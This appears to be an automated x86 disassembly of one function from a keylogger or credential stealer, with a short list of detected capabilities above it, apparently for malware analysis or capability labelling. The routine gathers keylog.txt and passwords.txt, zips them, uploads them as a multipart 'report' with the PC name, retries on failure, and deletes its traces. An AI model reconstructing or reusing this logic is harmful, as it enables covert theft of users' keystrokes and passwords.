Function at 0x100139d0
Capabilities:
Check if file exists
Copy file
Delete directory
Delete file
Get common file path
Set current directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x534
push ebx
push esi
push edi
xor eax, eax
push 0x1004fb68
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x530]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, dword [ebp + 8]
push ecx
push 0x10059d68
push 0x10046078
lea edx, [ebp - 0x110]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x1001406f
mov esi, dword [ebp + 0xc]
mov ecx, str.DEBUG
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10013a63
test dl, dl
je 0x10013a5f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10013a63
add eax, 2
add ecx, 2
test dl, dl
jne 0x10013a43
xor eax, eax
jmp 0x10013a68
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10013aa7
mov ecx, 0x10046258
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10013a93
test dl, dl
je 0x10013a8f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10013a93
add eax, 2
add ecx, 2
test dl, dl
jne 0x10013a73
xor eax, eax
jmp 0x10013a98
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10013aa7
lea eax, [ebp - 0x110]
call fcn.10005d30
mov ecx, 0x10046258
mov eax, esi
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10013ad0
test dl, dl
je 0x10013acc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10013ad0
add eax, 2
add ecx, 2
test dl, dl
jne 0x10013ab0
xor eax, eax
jmp 0x10013ad5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10013c03
xor eax, eax
nop
mov cl, byte [ebp + eax - 0x110]
mov byte [ebp + eax - 0x218], cl
inc eax
test cl, cl
jne 0x10013ae0
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea ecx, [ebp - 0x218]
push ecx
call ebx
lea eax, [ebp - 0x218]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10013b10
mov edx, dword [str.keylog.txt]
mov ecx, dword [0x100497e8]
mov dword [eax], edx
mov dx, word [0x100497ec]
mov dword [eax + 4], ecx
mov cl, byte [0x100497ee]
mov word [eax + 8], dx
lea edx, [ebp - 0x428]
push edx
push 0
push 0
push 0x1a
push 0
mov byte [eax + 0xa], cl
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x428]
push eax
call ebx
mov eax, 0x1005a8f8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10013b62
lea edi, [ebp - 0x428]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013b74
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x428]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x10013bb0
mov cl, byte [ebp + eax - 0x110]
mov byte [ebp + eax - 0x218], cl
inc eax
test cl, cl
jne 0x10013bb0
lea eax, [ebp - 0x218]
push eax
call ebx
lea eax, [ebp - 0x218]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10013bd3
mov ecx, dword [str.passwords.txt]
mov edx, dword [0x100497f4]
mov esi, dword [ebp + 0xc]
mov dword [eax], ecx
mov ecx, dword [0x100497f8]
mov dword [eax + 4], edx
mov dx, word [0x100497fc]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
mov ecx, str.DEBUG
mov eax, esi
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10013c30
test dl, dl
je 0x10013c2c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10013c30
add eax, 2
add ecx, 2
test dl, dl
jne 0x10013c10
xor eax, eax
jmp 0x10013c35
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10013c85
mov ecx, 0x10046258
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10013c60
test dl, dl
je 0x10013c5c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10013c60
add eax, 2
add ecx, 2
test dl, dl
jne 0x10013c40
xor eax, eax
jmp 0x10013c65
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10013c85
push 0
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x428]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x10059d68
push str._s_u.zip
lea edx, [ebp - 0x320]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
push 4
push 0x3000
push 0x104
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x1001406f
push 0x104
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x320]
push ecx
call fcn.10029780
mov edi, eax
test edi, edi
je 0x10013cfd
push 0
push esi
push edi
call fcn.10029910
push edi
call fcn.10029880
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea edx, [ebp - 0x110]
push edx
call fcn.10007680
push 0
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea edx, [ebp - 0x320]
push edx
call fcn.100078e0
mov dword [ebp - 4], eax
test eax, eax
je 0x1001406f
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013d50
sub eax, edx
xor ebx, ebx
add eax, 0x1000
je 0x10013d8a
lea esi, [eax + 0x13]
and esi, 0xfffffff0
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x10013d8a
push esi
push 0
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x1001406f
mov ecx, 7
mov esi, str._____________________________
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, 0x10059c60
movsw word es:[edi], word [esi]
mov esi, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013db0
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013dc0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10013de0
mov cx, word [0x10045e1c]
mov word [eax], cx
mov dl, byte [0x10045e1e]
mov byte [eax + 2], dl
lea edi, [ebx - 1]
mov edi, edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10013e00
mov eax, dword [ebp + 0xc]
mov ecx, 0xc
mov esi, str.Content_Disposition:_form_data__name_pcname__r_n_r_n
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, eax
jmp 0x10013e20
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013e20
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013e30
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10013e50
mov ax, word [0x10049860]
push 1
mov word [edi], ax
call fcn.100032e0
mov esi, eax
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013e70
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013e80
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10013ea0
mov ecx, 8
mov esi, str._r_n_____________________________
mov eax, 0x10059c60
rep movsd dword es:[edi], dword [esi]
mov esi, eax
jmp 0x10013ec0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013ec0
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013ed0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10013ef0
mov cx, word [0x10045e1c]
mov word [eax], cx
mov dl, byte [0x10045e1e]
mov byte [eax + 2], dl
lea edi, [ebx - 1]
mov edi, edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10013f10
mov ecx, 0x10
mov esi, str.Content_Disposition:_form_data__name_file___filename_report__r_n
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10013f28
mov eax, dword [ebp - 4]
mov ecx, 7
mov esi, str.Content_Type:_text_plain_r_n_r_n
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013f42
sub eax, esi
lea edi, [ebx - 1]
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013f50
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10013f70
mov ecx, 8
mov esi, str._r_n_____________________________
mov eax, 0x10059c60
rep movsd dword es:[edi], dword [esi]
mov esi, eax
jmp 0x10013f90
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013f90
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013fa0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10013fc0
mov ecx, dword [str.___r_n]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [eax], ecx
mov dl, byte [0x100498f0]
mov byte [eax + 4], dl
xor esi, esi
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013fe6
sub eax, edx
push eax
push ebx
call fcn.10013800
test eax, eax
jne 0x10014007
push 0x7530
call edi
inc esi
cmp esi, 5
jl 0x10013fe1
mov esi, dword [ebp + 0xc]
mov edx, str.DEBUG
mov ecx, esi
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x10014031
test al, al
je 0x1001402d
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x10014031
add ecx, 2
add edx, 2
test al, al
jne 0x10014011
xor eax, eax
jmp 0x10014036
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1001406f
mov ecx, 0x10046258
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10014061
test dl, dl
je 0x1001405d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10014061
add eax, 2
add ecx, 2
test dl, dl
jne 0x10014041
xor eax, eax
jmp 0x10014066
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1001406f
call fcn.10003500
lea eax, [ebp - 0x530]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea ecx, [ebp - 0x320]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x100140a9
push 0
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x320]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 4], 0
mov esi, dword [sym.imp.KERNEL32.dll_HeapValidate]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
je 0x100140db
mov ecx, dword [ebp - 4]
push ecx
push 0
call ebx
push eax
call esi
test eax, eax
je 0x100140db
mov edx, dword [ebp - 4]
push edx
push 0
call ebx
push eax
call edi
cmp dword [ebp - 8], 0
je 0x100140fb
mov eax, dword [ebp - 8]
push eax
push 0
call ebx
push eax
call esi
test eax, eax
je 0x100140fb
mov ecx, dword [ebp - 8]
push ecx
push 0
call ebx
push eax
call edi
push 0x1004fb68
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8